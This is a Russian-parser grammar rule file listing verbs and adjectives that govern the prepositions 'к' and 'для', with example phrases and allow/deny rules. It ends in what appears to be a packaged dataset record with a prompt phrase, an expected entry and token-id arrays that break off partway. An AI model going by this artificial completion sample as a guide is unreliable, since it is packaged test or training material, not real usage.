rus_verbs:переметнуться{}, // переметнуться к конкурентам
rus_verbs:липнуть{}, // липнуть к сокурсницам
rus_verbs:поковырять{}, // поковырять к выходу
rus_verbs:подпускать{}, // подпускать к пульту управления
rus_verbs:присосаться{}, // присосаться к источнику
rus_verbs:приклеить{}, // приклеить к стеклу
rus_verbs:подтягивать{}, // подтягивать к себе
rus_verbs:подкатывать{}, // подкатывать к даме
rus_verbs:притрагиваться{}, // притрагиваться к опухоли
rus_verbs:слетаться{}, // слетаться к водопою
rus_verbs:хаживать{}, // хаживать к батюшке
rus_verbs:привлекаться{}, // привлекаться к административной ответственности
rus_verbs:подзывать{}, // подзывать к себе
rus_verbs:прикладываться{}, // прикладываться к иконе
rus_verbs:подтягиваться{}, // подтягиваться к парламенту
rus_verbs:прилепить{}, // прилепить к стенке холодильника
rus_verbs:пододвинуться{}, // пододвинуться к экрану
rus_verbs:приползти{}, // приползти к дереву
rus_verbs:запаздывать{}, // запаздывать к обеду
rus_verbs:припереть{}, // припереть к стене
rus_verbs:нагибаться{}, // нагибаться к цветку
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять к воротам
деепричастие:сгоняв{},
rus_verbs:поковылять{}, // поковылять к выходу
rus_verbs:привалить{}, // привалить к столбу
rus_verbs:отпроситься{}, // отпроситься к родителям
rus_verbs:приспосабливаться{}, // приспосабливаться к новым условиям
rus_verbs:прилипать{}, // прилипать к рукам
rus_verbs:подсоединить{}, // подсоединить к приборам
rus_verbs:приливать{}, // приливать к голове
rus_verbs:подселить{}, // подселить к другим новичкам
rus_verbs:прилепиться{}, // прилепиться к шкуре
rus_verbs:подлетать{}, // подлетать к пункту назначения
rus_verbs:пристегнуться{}, // пристегнуться к креслу ремнями
rus_verbs:прибиться{}, // прибиться к стае, улетающей на юг
rus_verbs:льнуть{}, // льнуть к заботливому хозяину
rus_verbs:привязываться{}, // привязываться к любящему хозяину
rus_verbs:приклеиться{}, // приклеиться к спине
rus_verbs:стягиваться{}, // стягиваться к сенату
rus_verbs:подготавливать{}, // подготавливать к выходу на арену
rus_verbs:приглашаться{}, // приглашаться к доктору
rus_verbs:причислять{}, // причислять к отличникам
rus_verbs:приколоть{}, // приколоть к лацкану
rus_verbs:наклонять{}, // наклонять к горизонту
rus_verbs:припадать{}, // припадать к первоисточнику
rus_verbs:приобщиться{}, // приобщиться к культурному наследию
rus_verbs:придираться{}, // придираться к мелким ошибкам
rus_verbs:приучать{}, // приучать к лотку
rus_verbs:промотать{}, // промотать к началу
rus_verbs:прихлынуть{}, // прихлынуть к голове
rus_verbs:пришвартоваться{}, // пришвартоваться к первому пирсу
rus_verbs:прикрутить{}, // прикрутить к велосипеду
rus_verbs:подплывать{}, // подплывать к лодке
rus_verbs:приравниваться{}, // приравниваться к побегу
rus_verbs:подстрекать{}, // подстрекать к вооруженной борьбе с оккупантами
rus_verbs:изготовляться{}, // изготовляться к прыжку из стратосферы
rus_verbs:приткнуться{}, // приткнуться к первой группе туристов
rus_verbs:приручить{}, // приручить котика к лотку
rus_verbs:приковывать{}, // приковывать к себе все внимание прессы
rus_verbs:приготовляться{}, // приготовляться к первому экзамену
rus_verbs:остыть{}, // Вода остынет к утру.
rus_verbs:приехать{}, // Он приедет к концу будущей недели.
rus_verbs:подсаживаться{},
rus_verbs:успевать{}, // успевать к стилисту
rus_verbs:привлекать{}, // привлекать к себе внимание
прилагательное:устойчивый{}, // переводить в устойчивую к перегреву форму
rus_verbs:прийтись{}, // прийтись ко двору
инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована к условиям крайнего севера
инфинитив:адаптировать{вид:соверш},
глагол:адаптировать{вид:несоверш},
глагол:адаптировать{вид:соверш},
деепричастие:адаптировав{},
деепричастие:адаптируя{},
прилагательное:адаптирующий{},
прилагательное:адаптировавший{ вид:соверш },
//+прилагательное:адаптировавший{ вид:несоверш },
прилагательное:адаптированный{},
инфинитив:адаптироваться{вид:соверш}, // тело адаптировалось к условиям суровой зимы
инфинитив:адаптироваться{вид:несоверш},
глагол:адаптироваться{вид:соверш},
глагол:адаптироваться{вид:несоверш},
деепричастие:адаптировавшись{},
деепричастие:адаптируясь{},
прилагательное:адаптировавшийся{вид:соверш},
//+прилагательное:адаптировавшийся{вид:несоверш},
прилагательное:адаптирующийся{},
rus_verbs:апеллировать{}, // оратор апеллировал к патриотизму своих слушателей
rus_verbs:близиться{}, // Шторм близится к побережью
rus_verbs:доставить{}, // Эскиз ракеты, способной доставить корабль к Луне
rus_verbs:буксировать{}, // Буксир буксирует танкер к месту стоянки
rus_verbs:причислить{}, // Мы причислили его к числу экспертов
rus_verbs:вести{}, // Наша партия ведет народ к процветанию
rus_verbs:взывать{}, // Учителя взывают к совести хулигана
rus_verbs:воззвать{}, // воззвать соплеменников к оружию
rus_verbs:возревновать{}, // возревновать к поклонникам
rus_verbs:воспылать{}, // Коля воспылал к Оле страстной любовью
rus_verbs:восходить{}, // восходить к вершине
rus_verbs:восшествовать{}, // восшествовать к вершине
rus_verbs:успеть{}, // успеть к обеду
rus_verbs:повернуться{}, // повернуться к кому-то
rus_verbs:обратиться{}, // обратиться к охраннику
rus_verbs:звать{}, // звать к столу
rus_verbs:отправиться{}, // отправиться к парикмахеру
rus_verbs:обернуться{}, // обернуться к зовущему
rus_verbs:явиться{}, // явиться к следователю
rus_verbs:уехать{}, // уехать к родне
rus_verbs:прибыть{}, // прибыть к перекличке
rus_verbs:привыкнуть{}, // привыкнуть к голоду
rus_verbs:уходить{}, // уходить к цыганам
rus_verbs:привести{}, // привести к себе
rus_verbs:шагнуть{}, // шагнуть к славе
rus_verbs:относиться{}, // относиться к прежним периодам
rus_verbs:подослать{}, // подослать к врагам
rus_verbs:поспешить{}, // поспешить к обеду
rus_verbs:зайти{}, // зайти к подруге
rus_verbs:позвать{}, // позвать к себе
rus_verbs:потянуться{}, // потянуться к рычагам
rus_verbs:пускать{}, // пускать к себе
rus_verbs:отвести{}, // отвести к врачу
rus_verbs:приблизиться{}, // приблизиться к решению задачи
rus_verbs:прижать{}, // прижать к стене
rus_verbs:отправить{}, // отправить к доктору
rus_verbs:падать{}, // падать к многолетним минимумам
rus_verbs:полезть{}, // полезть к дерущимся
rus_verbs:лезть{}, // Ты сама ко мне лезла!
rus_verbs:направить{}, // направить к майору
rus_verbs:приводить{}, // приводить к дантисту
rus_verbs:кинуться{}, // кинуться к двери
rus_verbs:поднести{}, // поднести к глазам
rus_verbs:подниматься{}, // подниматься к себе
rus_verbs:прибавить{}, // прибавить к результату
rus_verbs:зашагать{}, // зашагать к выходу
rus_verbs:склониться{}, // склониться к земле
rus_verbs:стремиться{}, // стремиться к вершине
rus_verbs:лететь{}, // лететь к родственникам
rus_verbs:ездить{}, // ездить к любовнице
rus_verbs:приближаться{}, // приближаться к финише
rus_verbs:помчаться{}, // помчаться к стоматологу
rus_verbs:прислушаться{}, // прислушаться к происходящему
rus_verbs:изменить{}, // изменить к лучшему собственную жизнь
rus_verbs:проявить{}, // проявить к погибшим сострадание
rus_verbs:подбежать{}, // подбежать к упавшему
rus_verbs:терять{}, // терять к партнерам доверие
rus_verbs:пропустить{}, // пропустить к певцу
rus_verbs:подвести{}, // подвести к глазам
rus_verbs:меняться{}, // меняться к лучшему
rus_verbs:заходить{}, // заходить к другу
rus_verbs:рвануться{}, // рвануться к воде
rus_verbs:привлечь{}, // привлечь к себе внимание
rus_verbs:присоединиться{}, // присоединиться к сети
rus_verbs:приезжать{}, // приезжать к дедушке
rus_verbs:дернуться{}, // дернуться к борту
rus_verbs:подъехать{}, // подъехать к воротам
rus_verbs:готовиться{}, // готовиться к дождю
rus_verbs:убежать{}, // убежать к маме
rus_verbs:поднимать{}, // поднимать к источнику сигнала
rus_verbs:отослать{}, // отослать к руководителю
rus_verbs:приготовиться{}, // приготовиться к худшему
rus_verbs:приступить{}, // приступить к выполнению обязанностей
rus_verbs:метнуться{}, // метнуться к фонтану
rus_verbs:прислушиваться{}, // прислушиваться к голосу разума
rus_verbs:побрести{}, // побрести к выходу
rus_verbs:мчаться{}, // мчаться к успеху
rus_verbs:нестись{}, // нестись к обрыву
rus_verbs:попадать{}, // попадать к хорошему костоправу
rus_verbs:опоздать{}, // опоздать к психотерапевту
rus_verbs:посылать{}, // посылать к доктору
rus_verbs:поплыть{}, // поплыть к берегу
rus_verbs:подтолкнуть{}, // подтолкнуть к активной работе
rus_verbs:отнести{}, // отнести животное к ветеринару
rus_verbs:прислониться{}, // прислониться к стволу
rus_verbs:наклонить{}, // наклонить к миске с молоком
rus_verbs:прикоснуться{}, // прикоснуться к поверхности
rus_verbs:увезти{}, // увезти к бабушке
rus_verbs:заканчиваться{}, // заканчиваться к концу путешествия
rus_verbs:подозвать{}, // подозвать к себе
rus_verbs:улететь{}, // улететь к теплым берегам
rus_verbs:ложиться{}, // ложиться к мужу
rus_verbs:убираться{}, // убираться к чертовой бабушке
rus_verbs:класть{}, // класть к другим документам
rus_verbs:доставлять{}, // доставлять к подъезду
rus_verbs:поворачиваться{}, // поворачиваться к источнику шума
rus_verbs:заглядывать{}, // заглядывать к любовнице
rus_verbs:занести{}, // занести к заказчикам
rus_verbs:прибежать{}, // прибежать к папе
rus_verbs:притянуть{}, // притянуть к причалу
rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму
rus_verbs:подать{}, // он подал лимузин к подъезду
rus_verbs:подавать{}, // она подавала соус к мясу
rus_verbs:приобщаться{}, // приобщаться к культуре
прилагательное:неспособный{}, // Наша дочка неспособна к учению.
прилагательное:неприспособленный{}, // Эти устройства неприспособлены к работе в жару
прилагательное:предназначенный{}, // Старый дом предназначен к сносу.
прилагательное:внимательный{}, // Она всегда внимательна к гостям.
прилагательное:назначенный{}, // Дело назначено к докладу.
прилагательное:разрешенный{}, // Эта книга разрешена к печати.
прилагательное:снисходительный{}, // Этот учитель снисходителен к ученикам.
прилагательное:готовый{}, // Я готов к экзаменам.
прилагательное:требовательный{}, // Он очень требователен к себе.
прилагательное:жадный{}, // Он жаден к деньгам.
прилагательное:глухой{}, // Он глух к моей просьбе.
прилагательное:добрый{}, // Он добр к детям.
rus_verbs:проявлять{}, // Он всегда проявлял живой интерес к нашим делам.
rus_verbs:плыть{}, // Пароход плыл к берегу.
rus_verbs:пойти{}, // я пошел к доктору
rus_verbs:придти{}, // придти к выводу
rus_verbs:заглянуть{}, // Я заглянул к вам мимоходом.
rus_verbs:принадлежать{}, // Это существо принадлежит к разряду растений.
rus_verbs:подготавливаться{}, // Ученики подготавливаются к экзаменам.
rus_verbs:спускаться{}, // Улица круто спускается к реке.
rus_verbs:спуститься{}, // Мы спустились к реке.
rus_verbs:пустить{}, // пускать ко дну
rus_verbs:приговаривать{}, // Мы приговариваем тебя к пожизненному веселью!
rus_verbs:отойти{}, // Дом отошёл к племяннику.
rus_verbs:отходить{}, // Коля отходил ко сну.
rus_verbs:приходить{}, // местные жители к нему приходили лечиться
rus_verbs:кидаться{}, // не кидайся к столу
rus_verbs:ходить{}, // Она простудилась и сегодня ходила к врачу.
rus_verbs:закончиться{}, // Собрание закончилось к вечеру.
rus_verbs:послать{}, // Они выбрали своих депутатов и послали их к заведующему.
rus_verbs:направиться{}, // Мы сошли на берег и направились к городу.
rus_verbs:направляться{},
rus_verbs:свестись{}, // Всё свелось к нулю.
rus_verbs:прислать{}, // Пришлите кого-нибудь к ней.
rus_verbs:присылать{}, // Он присылал к должнику своих головорезов
rus_verbs:подлететь{}, // Самолёт подлетел к лесу.
rus_verbs:возвращаться{}, // он возвращается к старой работе
глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, деепричастие:находясь{},
прилагательное:находившийся{}, прилагательное:находящийся{}, // Япония находится к востоку от Китая.
rus_verbs:возвращать{}, // возвращать к жизни
rus_verbs:располагать{}, // Атмосфера располагает к работе.
rus_verbs:возвратить{}, // Колокольный звон возвратил меня к прошлому.
rus_verbs:поступить{}, // К нам поступила жалоба.
rus_verbs:поступать{}, // К нам поступают жалобы.
rus_verbs:прыгнуть{}, // Белка прыгнула к дереву
rus_verbs:торопиться{}, // пассажиры торопятся к выходу
rus_verbs:поторопиться{}, // поторопитесь к выходу
rus_verbs:вернуть{}, // вернуть к активной жизни
rus_verbs:припирать{}, // припирать к стенке
rus_verbs:проваливать{}, // Проваливай ко всем чертям!
rus_verbs:вбежать{}, // Коля вбежал ко мне
rus_verbs:вбегать{}, // Коля вбегал ко мне
глагол:забегать{ вид:несоверш }, // Коля забегал ко мне
rus_verbs:постучаться{}, // Коля постучался ко мне.
rus_verbs:повести{}, // Спросил я озорного Антонио и повел его к дому
rus_verbs:понести{}, // Мы понесли кота к ветеринару
rus_verbs:принести{}, // Я принес кота к ветеринару
rus_verbs:устремиться{}, // Мы устремились к ручью.
rus_verbs:подводить{}, // Учитель подводил детей к аквариуму
rus_verbs:следовать{}, // Я получил приказ следовать к месту нового назначения.
rus_verbs:пригласить{}, // Я пригласил к себе товарищей.
rus_verbs:собираться{}, // Я собираюсь к тебе в гости.
rus_verbs:собраться{}, // Маша собралась к дантисту
rus_verbs:сходить{}, // Я схожу к врачу.
rus_verbs:идти{}, // Маша уверенно шла к Пете
rus_verbs:измениться{}, // Основные индексы рынка акций РФ почти не изменились к закрытию.
rus_verbs:отыграть{}, // Российский рынок акций отыграл падение к закрытию.
rus_verbs:заканчивать{}, // Заканчивайте к обеду
rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время
rus_verbs:окончить{}, //
rus_verbs:дозвониться{}, // Я не мог к вам дозвониться.
глагол:прийти{}, инфинитив:прийти{}, // Антонио пришел к Элеонор
rus_verbs:уйти{}, // Антонио ушел к Элеонор
rus_verbs:бежать{}, // Антонио бежит к Элеонор
rus_verbs:спешить{}, // Антонио спешит к Элеонор
rus_verbs:скакать{}, // Антонио скачет к Элеонор
rus_verbs:красться{}, // Антонио крадётся к Элеонор
rus_verbs:поскакать{}, // беглецы поскакали к холмам
rus_verbs:перейти{} // Антонио перешел к Элеонор
}
fact гл_предл
{
if context { Гл_К_Дат предлог:к{} *:*{ падеж:дат } }
then return true
}
fact гл_предл
{
if context { Гл_К_Дат предлог:к{} @regex("[a-z]+[0-9]*") }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:к{} *:*{} }
then return false,-5
}
#endregion Предлог_К
#region Предлог_ДЛЯ
// ------------------- С ПРЕДЛОГОМ 'ДЛЯ' ----------------------
wordentry_set Гл_ДЛЯ_Род={
частица:нет{}, // для меня нет других путей.
частица:нету{},
rus_verbs:ЗАДЕРЖАТЬ{}, // полиция может задержать их для выяснения всех обстоятельств и дальнейшего опознания. (ЗАДЕРЖАТЬ)
rus_verbs:ДЕЛАТЬСЯ{}, // это делалось для людей (ДЕЛАТЬСЯ)
rus_verbs:обернуться{}, // обернулась для греческого рынка труда банкротствами предприятий и масштабными сокращениями (обернуться)
rus_verbs:ПРЕДНАЗНАЧАТЬСЯ{}, // Скорее всего тяжелый клинок вообще не предназначался для бросков (ПРЕДНАЗНАЧАТЬСЯ)
rus_verbs:ПОЛУЧИТЬ{}, // ты можешь получить его для нас? (ПОЛУЧИТЬ)
rus_verbs:ПРИДУМАТЬ{}, // Ваш босс уже придумал для нас веселенькую смерть. (ПРИДУМАТЬ)
rus_verbs:оказаться{}, // это оказалось для них тяжелой задачей
rus_verbs:ГОВОРИТЬ{}, // теперь она говорила для нас обоих (ГОВОРИТЬ)
rus_verbs:ОСВОБОДИТЬ{}, // освободить ее для тебя? (ОСВОБОДИТЬ)
rus_verbs:работать{}, // Мы работаем для тех, кто ценит удобство
rus_verbs:СТАТЬ{}, // кем она станет для него? (СТАТЬ)
rus_verbs:ЯВИТЬСЯ{}, // вы для этого явились сюда? (ЯВИТЬСЯ)
rus_verbs:ПОТЕРЯТЬ{}, // жизнь потеряла для меня всякий смысл (ПОТЕРЯТЬ)
rus_verbs:УТРАТИТЬ{}, // мой мир утратил для меня всякое подобие смысла (УТРАТИТЬ)
rus_verbs:ДОСТАТЬ{}, // ты должен достать ее для меня! (ДОСТАТЬ)
rus_verbs:БРАТЬ{}, // некоторые берут для себя (БРАТЬ)
rus_verbs:ИМЕТЬ{}, // имею для вас новость (ИМЕТЬ)
rus_verbs:ЖДАТЬ{}, // тебя ждут для разговора (ЖДАТЬ)
rus_verbs:ПРОПАСТЬ{}, // совсем пропал для мира (ПРОПАСТЬ)
rus_verbs:ПОДНЯТЬ{}, // нас подняли для охоты (ПОДНЯТЬ)
rus_verbs:ОСТАНОВИТЬСЯ{}, // время остановилось для нее (ОСТАНОВИТЬСЯ)
rus_verbs:НАЧИНАТЬСЯ{}, // для него начинается новая жизнь (НАЧИНАТЬСЯ)
rus_verbs:КОНЧИТЬСЯ{}, // кончились для него эти игрушки (КОНЧИТЬСЯ)
rus_verbs:НАСТАТЬ{}, // для него настало время действовать (НАСТАТЬ)
rus_verbs:СТРОИТЬ{}, // для молодых строили новый дом (СТРОИТЬ)
rus_verbs:ВЗЯТЬ{}, // возьми для защиты этот меч (ВЗЯТЬ)
rus_verbs:ВЫЯСНИТЬ{}, // попытаюсь выяснить для вас всю цепочку (ВЫЯСНИТЬ)
rus_verbs:ПРИГОТОВИТЬ{}, // давай попробуем приготовить для них сюрприз (ПРИГОТОВИТЬ)
rus_verbs:ПОДХОДИТЬ{}, // берег моря мертвых подходил для этого идеально (ПОДХОДИТЬ)
rus_verbs:ОСТАТЬСЯ{}, // внешний вид этих тварей остался для нас загадкой (ОСТАТЬСЯ)
rus_verbs:ПРИВЕЗТИ{}, // для меня привезли пиво (ПРИВЕЗТИ)
прилагательное:ХАРАКТЕРНЫЙ{}, // Для всей территории края характерен умеренный континентальный климат (ХАРАКТЕРНЫЙ)
rus_verbs:ПРИВЕСТИ{}, // для меня белую лошадь привели (ПРИВЕСТИ ДЛЯ)
rus_verbs:ДЕРЖАТЬ{}, // их держат для суда (ДЕРЖАТЬ ДЛЯ)
rus_verbs:ПРЕДОСТАВИТЬ{}, // вьетнамец предоставил для мигрантов места проживания в ряде вологодских общежитий (ПРЕДОСТАВИТЬ ДЛЯ)
rus_verbs:ПРИДУМЫВАТЬ{}, // придумывая для этого разнообразные причины (ПРИДУМЫВАТЬ ДЛЯ)
rus_verbs:оставить{}, // или вообще решили оставить планету для себя
rus_verbs:оставлять{},
rus_verbs:ВОССТАНОВИТЬ{}, // как ты можешь восстановить это для меня? (ВОССТАНОВИТЬ ДЛЯ)
rus_verbs:ТАНЦЕВАТЬ{}, // а вы танцевали для меня танец семи покрывал (ТАНЦЕВАТЬ ДЛЯ)
rus_verbs:ДАТЬ{}, // твой принц дал мне это для тебя! (ДАТЬ ДЛЯ)
rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // мужчина из лагеря решил воспользоваться для передвижения рекой (ВОСПОЛЬЗОВАТЬСЯ ДЛЯ)
rus_verbs:СЛУЖИТЬ{}, // они служили для разговоров (СЛУЖИТЬ ДЛЯ)
rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // Для вычисления радиуса поражения ядерных взрывов используется формула (ИСПОЛЬЗОВАТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНЯТЬСЯ{}, // Применяется для изготовления алкогольных коктейлей (ПРИМЕНЯТЬСЯ ДЛЯ)
rus_verbs:СОВЕРШАТЬСЯ{}, // Для этого совершался специальный магический обряд (СОВЕРШАТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНИТЬ{}, // а здесь попробуем применить ее для других целей. (ПРИМЕНИТЬ ДЛЯ)
rus_verbs:ПОЗВАТЬ{}, // ты позвал меня для настоящей работы. (ПОЗВАТЬ ДЛЯ)
rus_verbs:НАЧАТЬСЯ{}, // очередной денек начался для Любки неудачно (НАЧАТЬСЯ ДЛЯ)
rus_verbs:ПОСТАВИТЬ{}, // вас здесь для красоты поставили? (ПОСТАВИТЬ ДЛЯ)
rus_verbs:умереть{}, // или умерла для всяких чувств? (умереть для)
rus_verbs:ВЫБРАТЬ{}, // ты сам выбрал для себя этот путь. (ВЫБРАТЬ ДЛЯ)
rus_verbs:ОТМЕТИТЬ{}, // тот же отметил для себя другое. (ОТМЕТИТЬ ДЛЯ)
rus_verbs:УСТРОИТЬ{}, // мы хотим устроить для них школу. (УСТРОИТЬ ДЛЯ)
rus_verbs:БЫТЬ{}, // у меня есть для тебя работа. (БЫТЬ ДЛЯ)
rus_verbs:ВЫЙТИ{}, // для всего нашего поколения так вышло. (ВЫЙТИ ДЛЯ)
прилагательное:ВАЖНЫЙ{}, // именно твое мнение для нас крайне важно. (ВАЖНЫЙ ДЛЯ)
прилагательное:НУЖНЫЙ{}, // для любого племени нужна прежде всего сила. (НУЖЕН ДЛЯ)
прилагательное:ДОРОГОЙ{}, // эти места были дороги для них обоих. (ДОРОГОЙ ДЛЯ)
rus_verbs:НАСТУПИТЬ{}, // теперь для больших людей наступило время действий. (НАСТУПИТЬ ДЛЯ)
rus_verbs:ДАВАТЬ{}, // старый пень давал для этого хороший огонь. (ДАВАТЬ ДЛЯ)
rus_verbs:ГОДИТЬСЯ{}, // доброе старое время годится лишь для воспоминаний. (ГОДИТЬСЯ ДЛЯ)
rus_verbs:ТЕРЯТЬ{}, // время просто теряет для вас всякое значение. (ТЕРЯТЬ ДЛЯ)
rus_verbs:ЖЕНИТЬСЯ{}, // настало время жениться для пользы твоего клана. (ЖЕНИТЬСЯ ДЛЯ)
rus_verbs:СУЩЕСТВОВАТЬ{}, // весь мир перестал существовать для них обоих. (СУЩЕСТВОВАТЬ ДЛЯ)
rus_verbs:ЖИТЬ{}, // жить для себя или жить для них. (ЖИТЬ ДЛЯ)
rus_verbs:открыть{}, // двери моего дома всегда открыты для вас. (ОТКРЫТЫЙ ДЛЯ)
rus_verbs:закрыть{}, // этот мир будет закрыт для них. (ЗАКРЫТЫЙ ДЛЯ)
rus_verbs:ТРЕБОВАТЬСЯ{}, // для этого требуется огромное количество энергии. (ТРЕБОВАТЬСЯ ДЛЯ)
rus_verbs:РАЗОРВАТЬ{}, // Алексей разорвал для этого свою рубаху. (РАЗОРВАТЬ ДЛЯ)
rus_verbs:ПОДОЙТИ{}, // вполне подойдет для начала нашей экспедиции. (ПОДОЙТИ ДЛЯ)
прилагательное:опасный{}, // сильный холод опасен для открытой раны. (ОПАСЕН ДЛЯ)
rus_verbs:ПРИЙТИ{}, // для вас пришло очень важное сообщение. (ПРИЙТИ ДЛЯ)
rus_verbs:вывести{}, // мы специально вывели этих животных для мяса.
rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ)
rus_verbs:оставаться{}, // механизм этого воздействия остается для меня загадкой. (остается для)
rus_verbs:ЯВЛЯТЬСЯ{}, // Чай является для китайцев обычным ежедневным напитком (ЯВЛЯТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНЯТЬ{}, // Для оценок будущих изменений климата применяют модели общей циркуляции атмосферы. (ПРИМЕНЯТЬ ДЛЯ)
rus_verbs:ПОВТОРЯТЬ{}, // повторяю для Пети (ПОВТОРЯТЬ ДЛЯ)
rus_verbs:УПОТРЕБЛЯТЬ{}, // Краски, употребляемые для живописи (УПОТРЕБЛЯТЬ ДЛЯ)
rus_verbs:ВВЕСТИ{}, // Для злостных нарушителей предложили ввести повышенные штрафы (ВВЕСТИ ДЛЯ)
rus_verbs:найтись{}, // у вас найдется для него работа?
rus_verbs:заниматься{}, // они занимаются этим для развлечения. (заниматься для)
rus_verbs:заехать{}, // Коля заехал для обсуждения проекта
rus_verbs:созреть{}, // созреть для побега
rus_verbs:наметить{}, // наметить для проверки
rus_verbs:уяснить{}, // уяснить для себя
rus_verbs:нанимать{}, // нанимать для разовой работы
rus_verbs:приспособить{}, // приспособить для удовольствия
rus_verbs:облюбовать{}, // облюбовать для посиделок
rus_verbs:прояснить{}, // прояснить для себя
rus_verbs:задействовать{}, // задействовать для патрулирования
rus_verbs:приготовлять{}, // приготовлять для проверки
инфинитив:использовать{ вид:соверш }, // использовать для достижения цели
инфинитив:использовать{ вид:несоверш },
глагол:использовать{ вид:соверш },
глагол:использовать{ вид:несоверш },
прилагательное:использованный{},
деепричастие:используя{},
деепричастие:использовав{},
rus_verbs:напрячься{}, // напрячься для решительного рывка
rus_verbs:одобрить{}, // одобрить для использования
rus_verbs:одобрять{}, // одобрять для использования
rus_verbs:пригодиться{}, // пригодиться для тестирования
rus_verbs:готовить{}, // готовить для выхода в свет
rus_verbs:отобрать{}, // отобрать для участия в конкурсе
rus_verbs:потребоваться{}, // потребоваться для подтверждения
rus_verbs:пояснить{}, // пояснить для слушателей
rus_verbs:пояснять{}, // пояснить для экзаменаторов
rus_verbs:понадобиться{}, // понадобиться для обоснования
инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована для условий крайнего севера
инфинитив:адаптировать{вид:соверш},
глагол:адаптировать{вид:несоверш},
глагол:адаптировать{вид:соверш},
деепричастие:адаптировав{},
деепричастие:адаптируя{},
прилагательное:адаптирующий{},
прилагательное:адаптировавший{ вид:соверш },
//+прилагательное:адаптировавший{ вид:несоверш },
прилагательное:адаптированный{},
rus_verbs:найти{}, // Папа нашел для детей няню
прилагательное:вредный{}, // Это вредно для здоровья.
прилагательное:полезный{}, // Прогулки полезны для здоровья.
прилагательное:обязательный{}, // Этот пункт обязателен для исполнения
прилагательное:бесполезный{}, // Это лекарство бесполезно для него
прилагательное:необходимый{}, // Это лекарство необходимо для выздоровления
rus_verbs:создать{}, // Он не создан для этого дела.
прилагательное:сложный{}, // задача сложна для младших школьников
прилагательное:несложный{},
прилагательное:лёгкий{},
прилагательное:сложноватый{},
rus_verbs:становиться{},
rus_verbs:представлять{}, // Это не представляет для меня интереса.
rus_verbs:значить{}, // Я рос в деревне и хорошо знал, что для деревенской жизни значат пруд или речка
rus_verbs:пройти{}, // День прошёл спокойно для него.
rus_verbs:проходить{},
rus_verbs:высадиться{}, // большой злой пират и его отчаянные помощники высадились на необитаемом острове для поиска зарытых сокровищ
rus_verbs:высаживаться{},
rus_verbs:прибавлять{}, // Он любит прибавлять для красного словца.
rus_verbs:прибавить{},
rus_verbs:составить{}, // Ряд тригонометрических таблиц был составлен для астрономических расчётов.
rus_verbs:составлять{},
rus_verbs:стараться{}, // Я старался для вас
rus_verbs:постараться{}, // Я постарался для вас
rus_verbs:сохраниться{}, // Старик хорошо сохранился для своего возраста.
rus_verbs:собраться{}, // собраться для обсуждения
rus_verbs:собираться{}, // собираться для обсуждения
rus_verbs:уполномочивать{},
rus_verbs:уполномочить{}, // его уполномочили для ведения переговоров
rus_verbs:принести{}, // Я принёс эту книгу для вас.
rus_verbs:делать{}, // Я это делаю для удовольствия.
rus_verbs:сделать{}, // Я сделаю это для удовольствия.
rus_verbs:подготовить{}, // я подготовил для друзей сюрприз
rus_verbs:подготавливать{}, // я подготавливаю для гостей новый сюрприз
rus_verbs:закупить{}, // Руководство района обещало закупить новые комбайны для нашего села
rus_verbs:купить{}, // Руководство района обещало купить новые комбайны для нашего села
rus_verbs:прибыть{} // они прибыли для участия
}
fact гл_предл
{
if context { Гл_ДЛЯ_Род предлог:для{} *:*{ падеж:род } }
then return true
}
fact гл_предл
{
if context { Гл_ДЛЯ_Род предлог:для{} @regex("[a-z]+[0-9]*") }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:для{} *:*{} }
then return false,-4
}
#endregion Предлог_ДЛЯ
#region Предлог_ОТ
// попробуем иную стратегию - запретить связывание с ОТ для отдельных глаголов, разрешив для всех остальных.
wordentry_set Глаг_ОТ_Род_Запр=
{
rus_verbs:наслаждаться{}, // свободой от обязательств
rus_verbs:насладиться{},
rus_verbs:мочь{}, // Он не мог удержаться от смеха.
// rus_verbs:хотеть{},
rus_verbs:желать{},
rus_verbs:чувствовать{}, // все время от времени чувствуют его.
rus_verbs:планировать{},
rus_verbs:приняться{} // мы принялись обниматься от радости.
}
fact гл_предл
{
if context { Глаг_ОТ_Род_Запр предлог:от{} * }
then return false
}
#endregion Предлог_ОТ
#region Предлог_БЕЗ
/*
// запретить связывание с БЕЗ для отдельных глаголов, разрешив для всех остальных.
wordentry_set Глаг_БЕЗ_Род_Запр=
{
rus_verbs:мочь{}, // Он мог читать часами без отдыха.
rus_verbs:хотеть{},
rus_verbs:желать{},
rus_verbs:планировать{},
rus_verbs:приняться{}
}
fact гл_предл
{
if context { Глаг_БЕЗ_Род_Запр предлог:без{} * }
then return false
}
*/
#endregion Предлог_БЕЗ
#region Предлог_КРОМЕ
fact гл_предл
{
if context { * ПредлогДляВсе * }
then return false,-5
}
#endregion Предлог_КРОМЕ
// ------------------------------------
// По умолчанию разрешаем все остальные сочетания.
fact гл_предл
{
if context { * * * }
then return true
}
| втаскивать мешок в комнату
| rus_verbs:втаскивать{}, | 5,483,645 | [
1,
145,
115,
146,
229,
145,
113,
146,
228,
145,
123,
145,
121,
145,
115,
145,
113,
146,
229,
146,
239,
225,
145,
125,
145,
118,
146,
235,
145,
127,
145,
123,
225,
145,
115,
225,
145,
123,
145,
127,
145,
125,
145,
126,
145,
113,
146,
229,
146,
230,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
